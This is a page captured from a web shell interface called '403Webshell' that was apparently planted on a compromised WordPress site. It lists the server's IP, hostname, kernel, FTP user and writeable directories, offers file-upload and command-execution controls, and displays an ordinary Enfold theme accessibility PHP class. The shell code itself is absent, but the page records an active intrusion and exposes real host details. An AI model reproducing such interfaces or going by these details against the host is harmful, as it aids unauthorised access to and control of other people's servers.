403Webshell
Server IP : 81.19.159.101  /  Your IP : 216.73.217.111
Web Server : Apache
System : Linux www58.world4you.com 4.18.0-553.126.2.lve.el8.x86_64 #1 SMP Thu May 28 14:12:30 UTC 2026 x86_64
User : ftp8817043 ( 2681)
PHP Version : 8.4.21
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/.sites/103/site8817043/web/wp-content/themes/enfold/framework/php/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/.sites/103/site8817043/web/wp-content/themes/enfold/framework/php//class-accessibility.php
<?php
namespace aviaFramework;

/**
 * Helper class that implements fuctions to support accessibilty
 *
 * @author guenter
 * @since 6.0
 */
if( ! defined( 'ABSPATH' ) ) { exit; }

if( ! class_exists( __NAMESPACE__ . '\accessibility', false ) )
{
	class accessibility
	{
		/**
		 * Holds the instance of this class
		 *
		 * @since 6.0
		 * @var aviaFramework\accessibility
		 */
		static private $_instance = null;

		/**
		 * Return the instance of this class
		 *
		 * @since 6.0
		 * @return aviaFramework\accessibility
		 */
		static public function instance()
		{
			if( is_null( accessibility::$_instance ) )
			{
				accessibility::$_instance = new accessibility();
			}

			return accessibility::$_instance;
		}

		/**
		 * @since 6.0
		 */
		protected function __construct()
		{

		}

		/**
		 * Returns markup for screenreader to ignore heading when empty
		 *
		 * @link https://kriesi.at/support/topic/accessibility-compliance-of-forms-and-tab-elements-in-the-enfold-theme/#post-1443669
		 * @since 6.0
		 * @param string $content
		 * @param string $heading_tag
		 * @param string $quote
		 * @return string
		 */
		public function heading_markup( $content, $heading_tag, $quote = '"' )
		{
			if( ! empty( $content ) )
			{
				return '';
			}

			if( ! in_array( $heading_tag, [ 'h1', 'h2', 'h3', 'h4', 'h5', 'h6' ] ) )
			{
				return '';
			}

			if( ! in_array( $quote, [ '"', "'" ] ) )
			{
				$quote = '"';
			}

			return $quote == '"' ? 'aria-hidden="true" tabindex="-1"' : "aria-hidden='true' tabindex='-1'";
		}
	}

	/**
	 * Returns the main instance of aviaFramework\accessibility to prevent the need to use globals
	 *
	 * @since 6.0
	 * @return aviaFramework\accessibility
	 */
	function Accessibility()
	{
		return accessibility::instance();
	}

}

Youez - 2016 - github.com/yon3zu
LinuXploit